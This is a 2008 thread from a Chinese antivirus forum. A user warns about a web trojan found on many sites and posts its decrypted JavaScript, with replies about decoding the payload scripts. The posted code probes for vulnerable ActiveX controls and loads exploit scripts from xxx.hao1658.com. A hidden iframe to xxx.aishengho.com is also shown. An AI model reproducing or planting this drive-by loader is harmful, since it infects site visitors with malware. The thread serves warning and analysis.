瑞星卡卡安全论坛技术交流区反病毒/反流氓软件论坛 大家小心这个网页木马啊,有高手出来解决下啊

1   1  /  1  页   跳转

大家小心这个网页木马啊,有高手出来解决下啊

大家小心这个网页木马啊,有高手出来解决下啊

<script>function init(){document.write();}window.onload = init;</script>
<script>
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC"+"29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='OK=Yes;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script language=javascript src=http:\/\/xxx.hao1658.com\/wm\/11.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script language=javascript src=http:\/\/xxx.hao1658.com\/wm\/bb.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script language=javascript src=http:\/\/xxx.hao1658.com\/wm\/ppp.js><\/script>")}}
try{var h;var ourgame=new ActiveXObject("GLCHAT.GLChatCtrl.1");}
catch(h){};
finally{if(h!="[object Error]"){
document.write("<script language=javascript src=http:\/\/xxx.hao1658.com\/wm\/lz.js><\/script>")}}
}}}
</script>


这个是解密后的木马程序

主要是这个xxx.hao1658.com,很多网站被挂这个木马啊<iframe src=http://xxx.aishengho.com/28.htm width=0 height=0 border=0></iframe>                                                         

太害人了,有高手出来解决下啊

[用户系统信息]Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; i-NavFourF; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Alexa Toolbar; MAXTHON 2.0)
最后编辑2008-01-21 08:34:51
分享到:
gototop
 

把那几个.js文件拿下来看看先。....
gototop
 

就只从第一个js文件里看到下载了一个down.exe,,后面几个js加密过了。用的ASSIC码.
gototop
 

解密地址:http://www.xkww.com/webtool/winwebmail.htm

密码应该是 1234
高手跟进下啊 ,解决 下啊 ,这个网站木马非常麻烦
一会有一会有消失

就是看网站源文件的时候,请高手继续关注啊
gototop
 

顶上去,高手出招啊
gototop
 

js用的是unescape,不是unencode....

喜欢做网页的去解密去。.我闪
gototop
 

UP
gototop
 

这么大一个论坛,没一个高手啊
gototop
 
1   1  /  1  页   跳转
页面顶部
Powered by Discuz!NT